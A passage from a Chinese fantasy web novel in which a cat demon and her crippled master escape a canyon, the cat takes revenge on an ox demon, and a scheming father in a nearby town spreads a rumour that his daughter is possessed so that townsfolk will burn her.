咔嚓一声轻响。 一颗藿麻种子在符阵中央发芽,看似幼嫩的芽尖,竟冲破了符阵,将它顶出了一条裂口! 种子发芽时的力量是超乎想象的。 有了一条裂口,符阵的威力就下降了些许。 衔蝉趁机再握拳,顺着那颗种子顶破的裂口,用上了十成的力气,猛地就是一拳砸了上去! 砰的一声! 符阵被轰然打碎! 在符阵碎裂的同时,还有一株猛然暴涨的藿麻拔地而起! 衔蝉也一跃而起,在碎裂的符文中踩着藿麻叶子,脚尖一点,稳稳当当的落地。 她身后,无数断裂的符文化作光点,像烟花一样炸开,再散去。 “师尊!我赢了!” 衔蝉恨不得叉腰大笑,但表面上还要装作云淡风轻的样子,一脸轻松写意的向师尊走去。 风朔抚掌大笑:“好好好!不愧是我徒儿!果真是突破了!” 衔蝉:咩哈哈哈! 但稳住!形象要稳住! 要稳住形象的猫,迈开两条大长腿,走出了六亲不认的步伐。 然后在走到风朔面前不到一米远的时候,忽然咚的一声栽倒在地。 风朔的笑声顿住。 “乖徒?衔蝉?怎么了?还好吗?” 脸着地的衔蝉趴在地上竖起一条胳膊,虚弱道:“灵力,灵力又耗光了。” 风朔:“” 她笑着摇摇头,转头去给衔蝉继续煮野菜汤。 衔蝉在地上趴了好一会,才缓过这口气来,手软脚软的摸进厨房。 这回猫一口气吃了五锅野菜汤,连汤带水,一滴不剩,甚至连锅都不用洗了。 风朔看得直笑。 “乖徒啊,照你这个吃法,咱家的存粮怕是遭不住喽。” 那一小块地,怎么供得起这个超级大胃王哦。 衔蝉喝下最后一口野菜汤,不好意思的挠了挠头。 “我去催生灵植。” 风朔一把拉住她:“先歇歇吧。” “昂!”猫乖乖的顺着师尊的力道停下脚步,被她拉着一起去外面晒太阳。 晒得舒服了,衔蝉就不由自主的变回了原型,当场瘫成了一滩猫饼。 她在阳光下舒展着四肢和肚皮,毛毛都被镀上了一层金边。 风朔看得手痒,把猫猫爱徒捞到腿上,有一搭没一搭的给她顺毛,并顺手摸了又摸。 毛绒绒暖呼呼的触感从掌心传来,肉嘟嘟的,很扎实。 “乖徒,等你休息好了,咱就继续去凿岩壁吧。” 不然风朔真的担心就峡谷里这片小土地,根本养不活猫啊。 还得是出去,去外面,回到猫的大片领地上去,才能有更多的粮食能喂饱进阶的大胃王猫。 衔蝉翻身坐起来,点了点头:“嗯呐。” 她觉得师尊说得很有道理。 就算她能催生灵植,但峡谷里的这片地太小了,能吸收到的日月光华都有限。 不像在山上,她可以一边放开胃口大吃特吃,一边敞开了吸收阳光月光里的灵力,比在峡谷里富裕多了。 于是在歇息了半天后,师徒两个又带上干粮出发了。 到了岩壁那,衔蝉依旧是爆破主力。 突破后,她明显感觉到自己的灵力更凝实了一点。 虽然灵力储量和总量都没变,但现在她可以用更少的灵力画出更大威力的符咒。 这个发现让猫很高兴,炸岩壁都炸得更响了。 在她的努力下,最后一层岩壁成功被炸开。 一束光照进了幽深的隧道。 衔蝉站在光里,开心的大喊:“师尊!我们成功了!岩壁被炸穿了!我们可以出去了!!” 她扒拉着刚炸出来的隧道出口伸出脑袋往外一瞧。 嚯!外面居然是个山坡! 再往上一看,山坡上没什么阻挡,也不是很陡峭,可以顺着它往上爬! 她们终于可以出去了! 风朔也很高兴,连忙收起豆子傀儡,推着轮椅,和猫一起看着岩壁后的山坡。 “师尊,咱们走吧!”猫兴冲冲地推着轮椅就要往外走。 择日不如撞日! 今天说走就走! 风朔却拍了拍猫的胳膊。 前面的山坡,她不太好爬。 她得想想办法改造一下轮椅,或者 还没想出什么结果,风朔就感觉身体一轻。 兴奋又激动的衔蝉往下一蹲,直接把师尊背到背上,然后用尾巴召唤出藿麻,卷起轮椅就走。 她力气大得很,背一个师尊再卷个轮椅轻轻松松的。 风朔不由得失笑。 她这乖徒,真的是个很好的孩子啊。 “诶,师尊你认识路吗?” “呃,不认识。” “啊!那咱们先爬上去看看!如果走错路了咱们再倒回来!” “嗯,好。” 风朔拍拍爱徒的肩:“路上小心些,可能会有危险。” 大岭山里本来就有很多大妖小妖,还有之前的封印松动,可能会招来很多降妖师。 所以这一路必须打起精神,小心再小心。 衔蝉点点头:“嗯呐!我知道的!” 不在自己的地盘上的时候,她会很谨慎的。 风朔也知道衔蝉是很靠谱的,她只是提醒她一嘴而已。 于是师徒两个便开始闷头爬山赶路。 外面的山路并不好走,因为这种深山老林子里压根就没有路,到处都是石头枯木荆棘。 好不容易趟出一条路来,前面又可能有山溪或者断崖拦路。 但这些对衔蝉来说都不是问题。 她背上背着个人,尾巴上卷着个被藿麻捆住的轮椅,在山里蹦蹦跳跳的前行,竟一点没受阻拦的样子。 遇到难走的路,她就脚尖一点,直接带着师尊和轮椅一起上树,然后在树梢间跳跃行走,动作轻灵又稳当。 遇到山溪或者断崖,她就会找个高点的地方看看路,再麻溜的绕路。 她人高腿长,走得又快,不管是爬坡还是下河都不在话下。 风朔见状既是心疼又是骄傲。 “乖徒,累了就歇一歇。” 衔蝉:“我不累!师尊放心!” 她要赶紧赶回东坡子洞去,归心似箭。 也不知道这么些天过去,大家都怎么样了。 那头野牛有没有去攻打她们? 越想越担心,衔蝉很记仇的心想,现在猫神功大成了,等猫回去了,就把那头臭野牛弄死报仇! 她要用藿麻擦烂他的胩! 记仇的猫脑子里闪过很多不宜详细描写的想法。 另一边正在逃命的蛮牛忽然感觉浑身一凉。 但他不敢停下,也不敢回头,只闷头狂跑。 他好不容易才从降妖师们手下逃脱,现在只想找个地方躲起来养伤! 可养伤的地方哪里是那么好找的。 大岭山里但凡好一点的地盘,都是有主的。 而且近来的大岭山格外的危险。 早在前些时候,这山里就发生了一些变故,很多原本生活在岭山深处的大妖们都跑出来了。 蛮牛其实也不是什么正经大妖,他在真正的大妖面前也只是小虾米而已。 所以他也不知道内情,只知道前段时间大妖们像发疯一样,放着岭山深处肥沃的风水宝地不要,却偏要跑出来跟小妖们抢地盘。 小妖们没办法,被抢了地盘,就只能往外抢更小的小妖的地盘。 就这么跟套娃似的一路抢下来,越来越多的妖被逼到了岭山边缘。 蛮牛也是因为被另一个更强的妖抢了地盘和洞府,才委委屈屈的带着部下去抢黑獾的柿子洞的。 要是放在以前,他压根看不上柿子洞这种“穷乡僻壤”。 岭山深处,才是大妖小妖们心中的风水宝地,是每个妖都向往的繁华之都。 可是想住在那种地方,没点真本事是不行的。 没本事的小妖们就只能在岭山外围充充胖子,扯个旗子招些小妖,吆五喝六的过小日子。 蛮牛自己心里也清楚,他在真正的大妖面前啥也不是,所以他也想得开,想着在“乡下”做做大王也不错。 但万万没想到,岭山外围也不安全了! 虽然说从前岭山外围也不安全,因为一出大岭山就是人类的地盘嘛,可人类明明已经跟妖精们井水不犯河水很久了! 只有那些胆子大的妖,才敢大摇大摆的去人类的地盘上抓血食吃。 然后又被降妖师抓去就地正法。 或者把妖把降妖师就地正法。 总之,岭山就像一道分水岭。 人类和妖精很默契的各自待在山下和山上,大部分时候,双方都不往来,也没爆发过大规模的战争。 顶多就是有人上山被妖吃了,或者有妖下山被降妖师杀了之类的零星冲突。 所以蛮牛很不忿。 他觉得那些降妖师不讲规矩,居然跑到山里来围猎他们! 然而现在说什么都晚了,也没有人会听蛮牛的喊冤。 蛮牛只能憋屈又生气的逃命。 他想着,山外来了降妖师,那他就往山里跑。 山里的大妖虽多,但好歹是同族,他若是放低姿态,肯受些委屈,重新投奔个真正的大妖也不是不行。 正幻想着如何东山再起呢,蛮牛忽然感觉背后一麻。 衔蝉背着风朔,在山里走了好几天,终于从那个鸟不拉屎的悬崖下,爬回了山上。 刚走到一座不知道名字的山头上,衔蝉就闻到了那头臭野牛身上的味道! 这辈子她都不会忘记那股味儿! 猫的眼睛里一下子冒出两簇小火苗。 她放轻脚步,顺着那股味儿,追踪到了蛮牛暂时躲藏的地方。 终于看到蛮牛的时候,猫圆溜溜的瞳孔瞬间拉成了一条细细的竖线。 竖瞳的猫悄声跟师尊说了几句话,然后将她藏在一颗大石头后,自己喵的一声就冲了出去! 现在是猎杀时刻! 正在捂着伤口歇息的蛮牛感觉到了背后刮来的大风,连忙条件反射的就地一滚! “谁!谁敢偷袭老子!” 蛮牛又惊又怒。 然后他一扭头,就看到了一张怒气冲冲的猫脸。 超记仇的猫抄起藿麻就朝蛮牛砍去! 好巧不巧,她是从背后偷袭的,刚好砍到了蛮牛的胩。 藿麻的倒刺瞬间扎进肉里,毒液顺着倒刺灌进伤口,蛮牛当场就痛得嗷的一声蹦了起来! 但他不蹦还好,一蹦,藿麻上的倒刺就全都留在他胩上了!跟个仙人球似的! “嗷——!!” 倒刺和毒液的双重伤害让蛮牛发出了破音的惨叫声。 但这还没完。 猫的行事准则就是趁他病要他命! 一击得手,衔蝉马上又将藿麻甩成软鞭,鞭稍一勾,又把蹦起来的蛮牛重新拉了下来! 好死不死,还是勾住的胩。 没办法,谁让他蹦的时候背对着猫呢。 蛮牛:“” 岂有此理!! 蛮牛哞的一声变回原型,强忍着剧痛也要拉着衔蝉同归于尽! 但衔蝉早已脱胎换骨,现在跟着师尊正经修炼了大半个月的她虽然还不算什么顶尖高手,但对付蛮牛这种家伙也足够了! 衔蝉手上动作不停,左手拿藿麻鞭子右手画符,双管齐下! 一张灌注了过量灵力的小霹雳符跟藿麻鞭子同时起飞,目标一个是蛮牛的脑袋,一个还是那个梅开三度的老地方! 第58章 蛮牛恐怕做梦也没想到, 自己这辈子居然会死于藿麻擦胩。 这搞笑的死因,说出去都丢人! 但事实就是如此,他本来就被风氏的大玄师打伤, 又接连逃命好几天, 此刻正是他妖生中最虚弱的时候。 偏偏他又在这会遇上了神功大成且复仇心切的猫。 所以当蛮牛最后倒下去的时候,满脸都是不甘和诧异。 他想不明白, 明明先前都不是他对手的小小猫妖,怎么跌下悬崖后不仅没死, 反而还变得更厉害了?! 这怎么可能呢! 蛮牛实在是想不通,但他也没时间去想通了。 曾经风光无两的牛妖死不瞑目的倒下了。 蛮牛倒下时,衔蝉像落叶一样轻巧的飘落在他的牛角上,云淡风轻的收起了藿麻。 爽!! 大仇得报,偷偷在心里暗爽的猫非常有宗师风范的踩着蛮牛的shi体走了下来。 大石头后的风朔看完了全场战斗, 满意的在心里点了点头,并勾勾指尖,将几张结界符收起。 刚刚衔蝉跟蛮牛打斗的动静很大,但有了风朔给爱徒布下的结界符,一点声音都没漏到外面去。 衔蝉打完架,昂首挺胸的跑去大石头后找师尊汇报战况。 “师尊!那头把我打下悬崖的臭野牛被我打死啦!” 猫喜滋滋的。 风朔笑着夸道:“真厉害, 不愧是我徒儿。” 衔蝉的胸膛顿时就挺得更直了。 然后一拍脑袋。 “啊!坏了!我忘了问他话了!” 她刚刚光顾着报仇了, 却忘了留活口了! 也不知道蛮牛最后有没有去攻打东坡子洞? “不过他身上貌似有很多伤啊该不会是被我们东坡子洞的妖打伤的吧?” 衔蝉正猜测呢,风朔却摇了摇头。 “那头妖牛身上的伤, 是降妖师干的。” 而且还是她很熟悉的手法。 熟的不能再熟的那种。 衔蝉:“啊?降妖师?山上来降妖师了!不好!师尊,我们得赶紧回去!” 风朔点点头:“好,事不宜迟,我们继续赶路。” 她也得赶紧回去看看,风氏的降妖师跑来这里做什么。 虽然不知道这里的详细位置, 但根据灵力和四周的妖气程度来看,这多半还是在岭山外围。 按常理来讲,风氏的人是不会来这种偏远地带的。 整个风氏,只有她当年被发配到了这里。 而且风氏的本意也不是让她长久驻扎于此,而是想借此逼迫她低头认错。 当年只要她松松口,立刻就能重回风氏。 所以这种地方是不应该有风氏的降妖师出没的,那些人眼高于顶,就算要降妖,也不会来这么偏远的山沟沟里。 他们顶多会派些附属家族来执行一下天师堂的任务,自己是绝不会来这种“穷乡僻壤”的。 如果他们来了,说明这些年的情况肯定有变。 并且多半不是什么好变化。 衔蝉听完师尊的分析,马上也想起了另一个疑点。 “那头野牛身边一个小妖都没有,他们是不是也都被降妖师给收了?!” 要是连蛮牛手下那么多妖都没能抵挡住降妖师,那她们东坡子洞的妖岂不是更完蛋了! 风朔神色凝重的同意了衔蝉的说法。 这些天,她也从衔蝉嘴里了解了很多东坡子洞的事情,知道洞里的小妖数量不多,战力也不算顶尖。 说是妖王洞府,但实际上,东坡子洞更像是一个小妖们抱团生活的大家庭。 像这样的妖洞,如果不幸遇上了风氏本家的降妖师,确实是毫无抵抗之力。 因此,师徒两个都忧心忡忡,急忙继续赶路。 她们不知道这是哪里,但山里有的是原住民,大可以抓些小妖来问路。 只是在这座山里走了许久,衔蝉和风朔也没见到多少小妖。 “奇了怪了,这山里明明有妖气,怎么没看见妖?都去哪了?”衔蝉很纳闷。 风朔也觉得有些奇怪。 但现在她身边没有罗盘,很难准确的判断妖气最浓的方向在哪,只能走到哪里再手动观测哪里的妖气浓度如何。 “这边的妖气已经很淡了,换一个方向试试。” 衔蝉点点头,背着她调转方向。 就用这种笨办法,师徒两个在山里走了小半天,终于顺着一条妖气最浓的方向,找到了一大群妖。 一大群正在混战的妖。 衔蝉背着师尊卷着轮椅,躲在一颗参天古树的树冠上围观战况。 “哇,好多妖,打得好凶这两个带头的妖,好像都比蛮牛厉害啊。” 衔蝉把师尊放在树枝上扶着她坐好,自己也跟她并排坐在高高的树梢上。 “唉,他们打这么凶,我们怎么去问路啊。” “算了,先看看情况再说吧。”风朔拍了拍衔蝉,让她先趁这会有空休息一会。 衔蝉虽然心里焦急,但现在确实没有更好的办法,只能耐心的在树上一边吸收灵力,一边盯着树下的混战。 多看了一会,衔蝉也看出了些情况。 树下好像是两拨妖正在抢地盘。 其中一拨好像要更占上风一些,领头的妖王穿着打扮都比另一个看着更阔气。 跟普通的妖都穿着自己的皮毛化成的衣裳不同,他居然穿着一身很有些挺括的锦衣! 虽然那衣服款式也不太华丽,但明显是正儿八经的纺织物! 这说明要么是他有能力搞到人类的布料做衣裳,要么是他手下的妖已经学会织布裁衣了。 不管是哪种猜测,都能侧面印证他是衔蝉目前见过的最强的妖王。 另一个身披鳞甲的妖王明显看上去要土气不少,身上的盔甲都是用本身鳞片所化。 但即便这样,他手中也扛着一把寒光闪烁的狼牙棒。 这两个妖王,不管是哪一个,都比当初还在用石斧的蛮牛看上去“文明”多了,也阔气多了! 衔蝉皱着眉头,她发现好像不是所有妖都“土”。 那些厉害的大妖好像都能像人类那样,有组织成规模的生活。 甚至可能已经建立起了一些类似妖精城池之类的势力范围,或者干脆是已经与某些人类结盟。 不然没法解释他们穿的用的为什么都是明显更具有技术含量的东西。 只有她们这些边缘小妖,才会像活在蛮荒世界里一样。 这个发现让衔蝉心里一沉。 看来她们东坡子洞还差得很远。 她们必须加快脚步努力发展,否则将来要是遇上真正的大妖,她们简直毫无还手之力! 想到这里衔蝉又有些庆幸,幸好她老早就给大家换上了冷兵器。 跟那些石头木棍做的武器相比,冷兵器肯定是更厉害的。 在小妖们还没修炼到可以像真正的大妖之间那样用法力战斗之前,冷兵器就是她们能拿到的最强的外挂了。 衔蝉默默在心里祈祷,希望那些她花费了重金购买的冷兵器,能帮助大家守住家园。 她正祈祷呢,树下的混战就结束了。 两边胜负已分,果然是那个穿锦衣的妖王赢了。 输了的妖王带着残兵败将骂骂咧咧的逃跑了。 衔蝉听了一耳朵他们的骂声,忽然眼睛一亮。 因为她听到那个败了的妖王跟手下商量说,要去南边抢个洞府先落脚! 巧了吗不是! 她们东坡子洞就在南边! 所以只要跟着他,就能找到回东坡子洞的路! 跟师尊对望一眼,师徒两个默契的点了点头,然后悄无声息的跟上了战败的妖王。 风朔在自己和爱徒身上画了符文,将气息悉数遮掩。 两人就像幽灵一样,坠在了那个鳞甲妖的队伍后。 跟着他们又在山里走了一天后,衔蝉终于看到了眼熟的路! 前面那座山,不就是当初蛮牛的地盘吗! 她远远地都已经看到那个破败的洞府了! 衔蝉顿时又喜又忧。 喜的是翻过这座山就能回家了,忧的是东坡子洞里的大家还好吗? 带着满心的忐忑,猫背着师尊,踏上了漫漫回家路。 * 小泉峰上。 东坡子洞众妖以及风妧忧心忡忡的围坐在篝火边,个个神情低落,眉头紧锁。 这几天她们一直在努力搜寻衔蝉的下落。 可是她们都快把隔壁那座山给翻过来了,也没有找到衔蝉。 而且大家真的在那座山上发现了悬崖。 蛮牛没有说谎,那真的是个万丈深渊。 站在那悬崖边上往下看都看不到底,只能看见半山腰缭绕的云雾。 如果衔蝉真的被打落下去了,那恐怕凶多吉少。 大家心里都明白这事,所以大家这两天心情都很沉重。 但所有妖都没有放弃继续寻找衔蝉。 “不管怎么样,活要见妖,死要见尸!”风妧将刀戳在地上,大声说:“总要把衔蝉带回家!” “对!”三参和白三姑一起站起来,“就算是大王已经我们也要带她回家!” 小狐狸也用爪子抹了抹眼睛,哽咽道:“我要去悬崖下看看!” “如果大王真的在那里,我就去接她回来!” 在小狐狸心里,衔蝉不仅仅是大王,还是她最好最好的朋友。 她永远不会忘记是衔蝉带着她过上了现在的好日子,也不会忘记当初那碗热乎乎的鱼汤。 她不懂什么大道理,但她心想,我决不能让朋友孤零零的留在悬崖下。 不管她现在是死是活,她都要下去,带她回来。 小狐狸这么一说,小妖们也纷纷落下了热泪。 是啊,这东坡子洞里,哪个妖没受过大王的恩惠和照拂? 要是没有大王,现在大家都还在吃土,三天里要饿九顿呢。 “我们一起下去!” 三参,白三姑,菘蓝,桃子等妖站到了小狐狸身边。 白三姑翅膀一张:“我会飞,我先飞下去看看!给大家打头阵!” 小狐狸拿来一捆绳子:“嗯!三姑,我们跟着你,一起下去!” 三参也抱来一大把树藤:“我们一起搓更长的绳子,把它放到悬崖下,我们再顺着绳子下去!” 风妧一拍大腿:“别用这个!我们下山去买更结实的麻绳!” “我们用麻绳做成绳梯再顺着悬崖放下去!” 众妖连连点头,然后你一言我一语的确定好了下悬崖的计划。 最终确定的计划流程是白三姑先飞下去看看悬崖到底有多深,再顺便看看大王究竟有没有在悬崖下。 风妧和小狐狸负责下山买麻绳,等麻绳买回来了,大家再一起搓绳梯。 绳梯搓好了,大家就一起去悬崖下,接大王回家。 “阿琅,走!我们现在就出发!带上银子!”风妧当场就站了起来。 “好!”小狐狸马上变成人形,背起背篓就跟风妧一起往山下走。 其余小妖则按照计划,分头行事。 * 山下,平安镇上。 往日热闹的大集,最近却变得冷清了不少。 不光是大集,甚至连街边的住户,都起码有一半关了门窗。 还有很多人家的门口贴着明晃的符咒,或者红底的门神画像。 路上的行人也变少了许多,偶尔有零星的路人,一个个也是行色匆匆,仿佛身后有狗在追。 整个平安镇上,都弥漫着一股压抑沉闷的气息。 萧慧带着小徒儿,提着药箱,匆忙的往病人家走。 “师傅,要不,咱们别去了吧”小童儿一脸迟疑的揪着萧慧的衣摆,面露担忧。 “现在镇子上闹妖精呢,万一咱们出去也遇到了怎么办啊。” 她仰着头,清澈的双眼里全是对萧慧的担心:“现在大家都不出门了,咱们要不也回去吧。” 萧慧摇摇头:“人命关天,我不能眼睁睁的看着病人去死。” “可是,可是万一咱们也死在路上了怎么办!” 小童儿拉住萧慧:“万一咱们也被妖精抓去吃了怎么办!难道病人的命是命,咱们的命就不是命吗?!” “那些白胡子老头都不敢出门看诊了,咱们就算不去,病人家也不会说什么的!” “再说了,就算有人说什么,大不了咱还回村里去就是了!这镇子上虽好,但咱们也没必要刚搬来就拼命啊!” 萧慧严肃的制止了小童儿:“阿禾,不要说这样的话。” “我们学医,为的就是治病救人,要是贪生怕死,还做什么郎中。” “闹妖精又如何,我们行得正坐得直,即便果真遇到了妖精,也自有正气护身,不惧邪祟!” 小童儿直跺脚:“可是连风府的大小姐都被妖精抓去吃了附体了!” “听说她的魂魄都已经被妖精吃了,现在她身体里住着的是会吃人的妖精!” “连她都遭难了,要是咱们这样的凡人遇到妖精,那不更惨!” 萧慧闻言沉默了片刻。 其实当初刚听到这个流言的时候,她是不信的。 或者说,整个平安镇上,都没几个人信这种鬼话。 因为平安镇再不济,也是有降妖师坐镇的。 风府虽然已经没落了,但好歹也还有一位降妖师。 那位林老爷的儿子林路,据说学了一身当年那位风大人的本事,护着一个平安镇还是绰绰有余的。 他虽然年轻,但天资卓越,听说以后还很有希望继承风氏衣钵。 而且除了他,风府现在管事的林老爷,曾经也是个降妖师。 都说瘦死的骆驼比马大,有这两位守在平安镇上,这些年来确实也没出过什么岔子。 因此众人都对这父子俩很是感激。 大家也相信他们,会继续代替那位大人,守护平安镇。 出于对他俩的信任,众人一开始对“风氏大小姐被妖精附体”的流言是一点都不信的。 但很快,事情的发展就超出了大家的想象。 风府的林老爷亲口证实,风妧在出嫁途中遭遇妖邪,如今已经遇害。 并且那妖邪还奸诈得很,它吃了风妧的魂魄,霸占了她的身体,随时都有可能来到平安镇上大开杀戒。 林时亲自出面证明了流言并非谣传,这下可把大家给吓坏了。 众人连忙求到风府上,求林时和林路出手,把那妖邪收服。 但林时却当着大家的面哽咽道,那妖邪占着的毕竟是他亲生女儿的躯壳,他实在不忍下手,求大家谅解。 当时他在众人面前哭红了眼眶,那一片慈父心肠也让大家不好再逼迫他。 可妖邪又不能不除。 于是最后林时跟大家商量,他拿出那位大人留下的符箓,分发给大家,让大家帮忙,一起除掉妖邪。 “只要将这些符箓贴在火把上,看见妖邪时掷出火把,符箓便能定住妖邪,叫她无路可逃!” “大家记住,妖是会骗人的,到时候她为了求生,一定会说些妖言惑众的胡话,大家千万不能上当!” “那妖邪穿着我女的躯壳,我老糊涂了,不忍对它下手,但请大家务必不要心慈手软!” 他这么一说,众人顿时纷纷应和。 “好!既然林老爷这么说了,那这妖邪就让我们来除掉吧!” “林老爷放心!有了风大人留下的符,我们定能降服妖魔,让风大小姐的魂魄安息的!” 拿着一张张黄纸画的符箓,众人心头大定。 这可是风大人留下的符! 有了它,还怕个鸟的妖邪! 不过符箓有限,不可能人手一张,于是林时就做主,把符纸分发给了大家推举出来的一群身强力壮的男人。 “接下来平安镇的安危,就交给各位壮士了!” 林时抱拳,众人也连忙抱拳回礼。 “林老爷!您就瞧好吧!这回也轮到咱们自己守住镇子了,咱一定不会丢了风大人的脸的!” 林时抹着泪点头:“好,林某在此先谢过诸位了。” 他又殷殷叮嘱:“请诸位务必要诛杀妖邪,让我女得以安眠!” “无论那妖魔变化得有多像,说了什么胡话,大家都千万不能上当!” “我女早已遇害,如今穿着‘风妧’躯壳的不过是一具画皮鬼,诸位壮士一定要烧死她,为我女报仇!” “若是有与她同行的也一定是妖,大家也要一并将其烧死!一个都不要留!” “妖是会变化的,她们可能会变成大家的认识的样子,大家千万千万不能相信她们!” “不管她们变成什么样,目的都是为了欺骗大家,好方便她们在镇上作恶!” “烧死她们,平安镇才能重获安宁!” 他再三叮嘱,众人拿了他的符,自然也齐声应是。 之后林时果真退回风府,说是要为女儿做道场超度。 拿到符箓的男人们商量一下,就决定在烧死妖邪前,先让大家关门闭户,暂时躲一段时间。 这段时间,他们会组成巡逻队,在镇子上来回巡视。 一旦遇到妖邪,他们就会拿着风大人的符箓,上前烧死邪祟。 于是之后的平安镇就像是按下了暂停键一样,绝大部分人都躲在了家中,不出门了。 平安镇外也张贴了告示,让周边村子里的人警惕妖邪,暂时不要来赶大集了。 巡逻队天天在镇上巡视,让大家稍稍安心。 可平安镇那么大,巡逻队又不可能每天都把全镇所有地方都巡视到位。 也就是说,在抓到妖邪烧死之前,镇子上即便有巡逻队,也是不太安全的。 万一要是妖邪趁着巡逻队不在这边,就把人抓去吃了呢? 所以这段时间大家几乎都不敢出门了,个个都躲在家里。 只有那些不得不出门的人,才会急匆匆的赶个来回。 像萧慧这样,在这种特殊时期还愿意出门看诊的人,全镇子上都找不出几个来。 但也多亏了有她,镇子上有谁生病了也还能找着郎中。 现在虽然她手里已经没了那些神效的板蓝根和甘草,但她的一身本事还在,照样能给人看病治伤。 加上她又是医者仁心,不管遇到哪家的病人捎话来请她,她都会冒着风险出门去给人看诊。 所以这段时间,萧慧反而比平时更忙了。 萧慧的小徒儿萧禾对此很有意见,她很担心自己和师傅天天在外面走,迟早会遇到妖精。 她年纪还小,不懂那么多大道理,她只是想让她师傅平平安安的。 今天也是,萧禾磨磨蹭蹭的就是不想让萧慧出门,想劝她像镇上那几个白胡子老头那样关上门,安安心心的待在家里。 可萧慧怎么能答应。 她毅然决然地带着药箱出了门。 本来她还想把萧禾留在家里的,但萧禾不放心师傅,咬了咬牙又追了出来。 所以师徒俩最终还是一起出来了。 她俩匆忙的从冷寂的街道上走过。 另一边。 风妧和小狐狸也在跋涉许久后从小南峰上的老路下了山。 下山后,路过第一个村子,她俩还很奇怪,怎么大白天的,家家户户都关着门? 但现在她们忙着要去大集上买麻绳回来搓绳梯,也没心思打听别的事情。 两人继续闷头赶路。 走到平安镇城门口附近时,她们远远地就看到了那张告示。 并且往日都没有人盘查的城门口,今天居然多了好几个拿着火把的男人在那走来走去。 “真是怪事!大白天的,点火把干嘛!”风妧纳闷的嘟囔了一声。 “算了,不管了!还是先去干正事吧!阿琅!我们走!” 小狐狸却忽然拉住了风妧的衣角。 “风妧!先等等!” 她眼睛尖,心也细,一下子就看到了城门口上提着的那张告示似乎有点不对劲。 “你看那告示上画着的人,是不是你?!” 第59章 隔着大老远的一段路, 风妧眯着眼睛,顺着小狐狸手指的方向,仔细去瞧城门口那张告示。 得亏她这些天已经偷到家传秘籍修炼入道了, 不然这么远的距离, 她还真没法看清告示上写的是什么。 但看清那上面的字和画后,风妧的脸色瞬间变得漆黑。 “什么叫我被妖邪吃了魂魄, 现在是个画皮鬼?!放的都是些什么猪屁!” 她气得撸袖子:“气煞我也!我倒要进去看看,究竟是什么人在造我的谣!” 她这还活得好好的呢, 怎么就造谣说她死了呢!简直是岂有此理! 更过分的是居然还张贴了告示,还在上面写了与她同行的也是妖邪,要一并诛杀?! “这简直就是血口喷人!” 风妧气得跳脚,当场就要打进城去跟所有人掰扯明白。 还是小狐狸拉住了她。 她小声提醒道:“可是,风妧, 我真的是妖哎” 告示上别的都是造谣,但唯有这句是真的,跟风妧同行的确实是妖。 这些天风妧一直在山上跟大家同吃同住,众妖们早已将她视作东坡子洞的一员了。 如今跟她一同下山来买绳子的小狐狸也的的确确是个妖没错。 所以小狐狸心里发虚,又怕自己的身份连累了朋友,又怕风妧听了坏人的挑唆, 不跟她做朋友了。 并且这事处处都透露着古怪, 怎么琢磨怎么不对劲。 小狐狸一向心思细腻,遇事总是多想三分, 偶尔还因此显得有些优柔寡断,但此刻,她的谨慎并没有错。 风妧被拉住了两次,气没消,但她多少还是听得进朋友的劝告的。 主要是小狐狸已经将她拉到一旁的树后跟她细讲不对劲之处了。 “风妧, 你看,你来我们山上的事情,山下根本没有多少人知道。” “也就是说,山下的人根本不知道你去哪了,肯定都以为你已经在穗城了。” “那究竟是谁,会大家都以为你在穗城的时候,跑出来造谣说你已经被妖精吃了魂魄呢?” “他就不怕你回来揭穿他吗?” “不,他大约是不怕的,因为他说的是你被吃了魂魄,被妖精占了身体。” “所以现在就算你回去了,不管你说什么,都不会有人信的。” “大家只会以为你是冒充‘风妧’的妖精,把你烧死。” 小狐狸说着说着,给自己说出了一头冷汗:“究竟是谁这么狠毒,这不就是存心想借刀杀人吗?” 她跟着风妧学了不少知识了,如今都会用成语了,可风妧却没有心思为朋友的进步而鼓掌了。 因为她也顺着小狐狸的思路,想到了更多更让她毛骨悚然的事情。 ——是谁放出的消息,才能让镇上所有人都深信不疑? ——又是谁刻意针对她,最不想让她再回到平安镇?甚至不想再让她开口说一句话? ——还有这些谣言,为什么能在风府尚在的情况下传出平安镇? 风妧忽然浑身冰凉。 她的脑子里闪过了很多画面。 林时声嘶力竭的喊“你不能去”的样子;风氏的人问她为什么这个年纪还没修出内丹的样子;狼妖像疯了一样只冲着她一人去的样子 甚至还有林时刻意为她挡掉了狼妖的杀招那一瞬间的画面,都在风妧的脑子里无比的清晰。 当时风氏的人喊得那么大声,林时肯定也听到了她身上有血脉禁咒的事。 那他当时着急忙慌的挡过来,究竟是想救她,还是想借血脉禁咒杀妖灭口? 他到底想隐瞒什么? 风妧越想越心惊。 她竭力让自己保持冷静,再顺着这条线继续思考下去。 前面的十几年,林时在她心里一直是个慈父。 虽然他有时候有些偏心,但那都还算情有可原。 而且他从未亏待过她,甚至还愿意将风府的家产分一半给她做嫁妆。 那他是从什么时候开始变了的呢? 似乎就是从上上一次,风氏来人开始。 那一次风氏的人跟林时说了什么,风妧无法得知,但她知道,那天之后,林时就打算把她嫁出平安镇了。 背着风氏。 将她嫁出去。 这事还是之后被风氏的人戳破的。 所以林时为什么急着把她嫁出去?明明之前他都还没那么急迫的。 他甚至在某次松过口,说如果她想招赘,他也可以帮她跟风氏提一提。 这中间发生了什么? 风妧的脑子仿佛分成了两半,一半在竭力翻找往昔那些压在心底的细节想要寻个答案,一半在既不解又愤怒的思考林时是为了什么。 两种情绪交杂,让风妧的头像是要炸开一样的疼,但更疼的却好像是心脏。 她抱着头蹲在大树后,嘴里说出的话都微弱了不少:“阿琅,你让我再想想,我再想想” 小狐狸也多少猜到了些什么,她见风妧这样难受,便从兜里摸出一根板蓝根,塞进她嘴里。 她本意是想让风妧好受些,毕竟板板吃了大王开的小灶亲自产出的板蓝根灵气含量最高,有什么病痛,吃下它都能缓解。 可没想到这却让风妧像过电一样弹了起来。 “灵植!是灵植!” 她一把抓住小狐狸的袖子,一字一句的告诉她:“我爹不,林时,他想要山上的灵植!!” “他想杀了你,杀了你们,包括我!” 想杀山上众妖很好理解,无非是杀妖夺宝,但杀她又是为什么? 虎毒尚且不食子,林时为什么非杀她不可? 如果只是担心她会阻拦他上山杀妖的话,他不是已经将她嫁出去了吗? 她留给他的书信里都说了自己是逃婚,不会回来了的,完全碍不着他什么啊! 他为什么非要赶尽杀绝不可?! 是因为她又回来了吗?好像还真是因为她又回来了!当时跟风氏的降妖师见面时,他似乎还想让她走? 那后来为什么他又改了态度? 好像是从那块玉佩开始,等等,玉佩!她娘的玉佩! 风妧摇摇欲坠。 